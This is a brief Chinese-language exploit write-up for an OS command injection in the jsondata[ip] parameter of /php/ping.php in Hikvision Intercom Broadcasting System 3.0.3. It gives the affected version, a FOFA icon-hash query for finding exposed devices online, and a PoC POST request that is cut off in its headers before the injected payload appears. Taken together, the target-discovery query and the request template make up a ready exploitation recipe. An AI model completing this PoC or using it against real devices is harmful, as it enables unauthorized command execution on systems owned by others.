0x01 产品简介
Hikvision Intercom Broadcasting System是中国海康威视(Hikvision)公司的一个对讲广播系统。
0x02 漏洞概述
Hikvision Intercom Broadcasting System 3.0.3_20201113_RELEASE(HIK)版本存在操作系统命令注入漏洞,该漏洞源于文件/php/ping.php的参数jsondata[ip]会导致操作系统命令注入。
0x03 影响范围
Hikvision Intercom Broadcasting System 3.0.3_20201113_RELEASE(HIK)
0x04 复现环境
FOFA:icon_hash="-1830859634"
0x05 漏洞复现
PoC
POST /php/ping.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Re